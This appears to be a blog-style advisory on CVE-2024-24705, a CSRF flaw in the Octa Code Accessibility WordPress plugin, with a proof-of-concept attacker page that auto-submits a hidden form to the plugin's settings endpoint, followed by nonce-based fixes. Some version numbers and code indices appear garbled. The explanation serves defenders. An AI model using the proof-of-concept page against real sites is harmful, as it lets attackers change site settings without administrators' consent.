CVE-2024-24705 - Cross-Site Request Forgery (CSRF) Vulnerability in Octa Code Accessibility (≤1..6)

CVE-2024-24705 is a Cross-Site Request Forgery (CSRF) vulnerability found in the Octa Code Accessibility plugin, affecting versions up to 1..6. This flaw can allow an attacker to perform specific actions on behalf of legitimate users without their consent, leading to unintended changes or even compromise of the website.

What is CSRF?

CSRF is a web security vulnerability that tricks a user’s browser into making unwanted requests to a website where the user is authenticated. For example, if you’re logged into your site as an admin, an attacker can trick you into clicking a link or loading a page which will perform actions you never intended.

How does CVE-2024-24705 Work?

When the plugin lacks verification (like WordPress nonces) to validate important requests, attackers can create a fake form or link. If an admin visits a malicious page, their browser will unknowingly submit changes or actions to the vulnerable site.

For instance, let’s say the plugin has a settings page change endpoint like

POST /wp-admin/admin-ajax.php?action=octa_accessibility_save_settings

If there are no checks to verify the request's legitimacy (like a CSRF token or nonce), anyone can trigger actions if the user is logged in.

Here’s a simple example of how an attacker might use CSRF to change plugin settings

<!-- Suppose this is hosted on attacker.com -->
<html>
  <body>
    <form action="https://victim-site.com/wp-admin/admin-ajax.php?action=octa_accessibility_save_settings"; method="POST">
      <input type="hidden" name="setting1" value="malicious value" />
      <input type="hidden" name="setting2" value="changed value" />
      <!-- Add as many hidden fields as needed -->
      <input type="submit" value="Click me!" />
    </form>

    <script>
      // Auto-submit the form to exploit
      document.forms[].submit();
    </script>
  </body>
</html>

If a logged-in admin visits this attacker page (even by accident), the form is submitted *as* them, and the plugin settings are changed without their knowledge.

Why is this Bad?

- Unauthorized Configuration Changes: Attackers can change accessibility settings, possibly harming the website’s UX or compliance.
- Potential for Further Exploits: If the settings allow injection of scripts or other data, it could lead to more severe attacks.

Update: The vendor may release a patch (beyond version 1..6). Always keep plugins updated.

- Nonce Checks: Developers should use nonces (security tokens) for all form submissions and AJAX requests.
- Restrict Privileges: Limit admin rights and test which user roles can access the plugin settings.

Technical Details & References

- Vulnerability page on NVD: CVE-2024-24705
- WPScan Advisory: CVE-2024-24705 Report
- Official Plugin Repository: Octa Code Accessibility
- OWASP: CSRF Explanation: OWASP CSRF

Here’s how you might use a WordPress nonce to protect AJAX requests

// Generating a nonce in your plugin's settings page
$nonce = wp_create_nonce( 'octa_accessibility_save_settings' );
?>

<form id="settings_form" method="POST">
  <input type="hidden" name="octa_nonce" value="<?php echo esc_attr($nonce); ?>"/>
  <!-- Settings fields here -->
</form>

// Checking the nonce in your AJAX callback
if ( ! isset( $_POST['octa_nonce'] ) || 
     ! wp_verify_nonce( $_POST['octa_nonce'], 'octa_accessibility_save_settings' ) ) {
    wp_die( 'CSRF check failed!' );
}

Bottom Line

CVE-2024-24705 is a classic CSRF vulnerability affecting Octa Code Accessibility versions up to 1..6. It’s easy for an attacker to exploit if you’re logged in as an admin and visit a malicious site. Update your plugins, and developers—always protect sensitive actions with nonces!

Timeline

Published on: 02/28/2024 15:15:08 UTC
Last modified on: 02/29/2024 13:49:47 UTC